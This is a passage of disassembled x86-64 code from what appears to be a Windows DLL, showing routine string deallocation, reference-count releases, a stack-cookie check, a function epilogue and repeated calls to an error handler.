mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094700
call fcn.1800cf9b0
mov r8, qword [rbp + 0x2d0]
test r8, r8
je 0x1800943fd
mov rcx, qword [rbp + 0x2e0]
movabs rax, 0x2aaaaaaaaaaaaaab
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r8
lea rdx, [rdx + rdx*2]
shl rdx, 3
cmp rdx, 0x1000
jb 0x1800943df
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094700
mov rcx, r8
call fcn.1800cf9b0
xorps xmm0, xmm0
xor edi, edi
movdqa xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e0], rdi
jmp 0x1800943ff
xor edi, edi
mov rcx, qword [rbp + 0x330]
test rcx, rcx
je 0x180094440
mov eax, r13d
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x180094440
mov rbx, qword [rbp + 0x330]
test rbx, rbx
je 0x180094440
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rdi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x180094424
mov rcx, qword [rbp + 0x350]
mov qword [rbp + 0x330], rdi
test rcx, rcx
je 0x18009446c
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009446c
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rbp + 0x358]
test rcx, rcx
je 0x1800944ad
mov eax, r13d
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x1800944ad
mov rbx, qword [rbp + 0x358]
test rbx, rbx
je 0x1800944ad
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rdi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x180094491
mov rcx, qword [rbp + 0x378]
mov qword [rbp + 0x358], rdi
test rcx, rcx
je 0x1800944d9
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1800944d9
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0x380]
test rax, rax
je 0x180094519
lock xadd dword [rax + 0x2c], r13d
cmp r13d, 1
jne 0x180094519
mov rbx, qword [rbp + 0x380]
test rbx, rbx
je 0x180094519
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rdi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x1800944fd
mov rcx, qword [rbp + 0x3a0]
mov qword [rbp + 0x380], rdi
test rcx, rcx
je 0x180094545
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180094545
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rsi, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
mov rdx, qword [rbp + 0x238]
cmp rdx, 0x10
jb 0x180094590
mov rcx, qword [rbp + 0x220]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009458b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946c4
call fcn.1800cf9b0
movups xmm1, xmmword [rbp + 0x2b0]
mov qword [rbp + 0x2b0], rdi
movups xmm0, xmmword [rbp + 0x2a0]
mov qword [rbp + 0x2b8], 0xf
mov byte [rbp + 0x2a0], 0
movups xmmword [r14], xmm0
movups xmmword [r14 + 0x10], xmm1
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x1800945fa
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x1800945f5
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800946ca
mov rcx, r8
call fcn.1800cf9b0
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x180094645
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x180094640
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800946ca
mov rcx, r8
call fcn.1800cf9b0
mov qword [r12 + 0x10], rdi
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x18009468e
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x180094689
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800946ca
mov rcx, r8
call fcn.1800cf9b0
mov qword [r15 + 0x10], rdi
mov byte [r15], 0
mov rax, r14
mov qword [r15 + 0x18], 0xf
mov rcx, qword [rbp + 0x3a8]
xor rcx, rsp
call fcn.1800cf6f0
add rsp, 0x4b8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800dec10
int3
call fcn.1800dec10
int3
call fcn.1800dec10
int3
call fcn.1800dec10
int3
call fcn.1800dec10
int3
call fcn.1800dec10
int3
call fcn.1800dec10
int3
call fcn.1800dec10
int3
call fcn.1800dec10
int3
call fcn.1800dec10
int3
call fcn.1800dec10
int3